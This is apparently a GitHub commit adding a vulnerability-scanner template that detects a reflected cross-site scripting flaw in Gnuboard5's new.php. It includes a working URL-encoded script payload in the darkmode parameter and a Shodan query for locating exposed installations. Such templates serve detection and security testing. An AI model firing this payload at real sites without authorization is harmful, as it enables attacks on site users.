Create gnuboard5-xss.yaml

patch-1
Arafat Ansari 2022-08-24 00:21:46 +05:30 committed by GitHub
parent 59673f50bf
commit 7dfd3a4edd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 30 additions and 0 deletions

View File

@ -0,0 +1,30 @@
id: gnuboard5-xss
info:
name: Gnuboard5 - Cross Site Scripting
author: arafatansari
severity: medium
description: |
Gnuboard 5 is vulnerable to reflected XSS to a flaw in the clean_xss_tags() function called in new.php.
reference:
- https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/
metadata:
shodan-query: http.html:"gnuboard5"
verified: "true"
tags: xss, gnuboard
requests:
- raw:
- |
GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '<script>alert(document.domain)</script>'